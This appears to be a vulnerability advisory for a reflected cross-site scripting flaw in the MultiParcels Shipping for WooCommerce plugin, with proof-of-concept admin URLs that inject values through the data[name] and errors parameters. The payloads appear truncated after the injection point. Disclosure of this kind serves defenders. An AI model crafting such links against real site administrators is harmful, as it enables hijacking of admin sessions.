MultiParcels Shipping For WooCommerce < 1.15.4 - Reflected XSS

Description The plugin does not sanitise and escape various parameters before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin Note: The issue was fixed in 1.14.15 but re-introduced in 1.14.16

PoC

Make a logged in admin open one of the URL below: http://example.com/wp-admin/admin.php?page=multiparcels-shipping-for-woocommerce&amp;tab;=sender-details&amp;data;[name]='> http://example.com/wp-admin/admin.php?page=multiparcels-shipping-for-woocommerce&amp;tab;=sender-details&amp;errors;[name][][text]=